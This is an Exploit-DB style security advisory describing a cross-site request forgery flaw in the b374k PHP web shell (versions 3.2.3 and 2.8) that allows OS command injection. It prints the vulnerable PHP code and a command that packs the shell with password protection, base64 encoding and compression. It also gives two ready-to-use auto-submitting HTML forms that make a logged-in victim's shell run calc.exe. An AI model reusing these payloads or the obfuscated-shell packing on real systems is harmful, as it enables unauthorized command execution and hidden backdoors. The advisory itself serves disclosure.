b374k 3.2.3/2.8 (Web Shell) - Cross-Site Request Forgery / Command Injection

EDB-ID:

38688

CVE:





Platform:

PHP

Date:

2015-11-13


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[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt


Vendor:
============================================
github.com/b374k/b374k
code.google.com/p/b374k-shell/downloads/list
code.google.com/archive/p/b374k-shell/


Product:
==============================================
b374k versions 3.2.3 and 2.8

b374k is a PHP Webshell with many features such as:

File manager (view, edit, rename, delete, upload, download as archive,etc)
Command execution, Script execution (php, perl, python, ruby, java,
node.js, c)
Give you shell via bind/reverse shell connect
Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more
using ODBC or PDO)
Process list/Task manager.

This is useful for system/web admin to do remote management without opening
cpanel, connecting using ssh,
ftp etc. All actions take place within a web browser.

Note:
b374k is considered by some as a malicious backdoor and is flagged by some
AV upon download.


Vulnerability Type:
=============================
CSRF Remote Command Injection


Vulnerability Details:
=====================

No CSRF protection exists in b374k Web Shell allowing arbitrary OS command
injection, if currently
logged in user visits our malicious website or clicks our infected linxs.

vulnerable b374k code:

<?php
if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the
shell.

<form action='<?php echo $s_self; ?>' method='post'>
<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd'
style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";

else echo "- shell command -";
?>' />
<noscript><input class='inputzbut' type='submit' value='Go !'
name='submitcmd' style='width:80px;' /></noscript>

</form>


Exploit code(s):
=================

Run Windows calc.exe as POC...

[CSRF Command Injections]

 v3.2


Adding password and packing to b374k single PHP file.

c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123
 -s -b -z gzcompress -c 9
b374k shell packer 0.4.2

Filename                : myshell.php
Password                : xxxxxx
Theme                   : default
Modules                 : convert,database,info,mail,network,processes
Strip                   : yes
Base64                  : yes
Compression             : gzcompress
Compression level       : 9
Result                  : Succeeded : [ myshell.php ] Filesize : 111419


(CSRF Command injection 1)

<form id='ABYSMALGODS' action='
http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
method='post'>
<input id='cmd' type='text' name='terminalInput' value='calc.exe' />
<script>document.getElementById('ABYSMALGODS').submit()</script>
</form>



 v2.8

(CSRF Command injection 2)

<form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
<input id='cmd' type='text' name='cmd' value='calc.exe' />
<script>document.getElementById('HELL').submit()</script>
</form>


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Description:
==================================================

Request Method(s):              [+]  POST


Vulnerable Product:             [+]  b374k 3.2 and 2.8


Vulnerable Parameter(s):        [+]  terminalInput, cmd


Affected Area(s):               [+]  OS



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by hyp3rlinx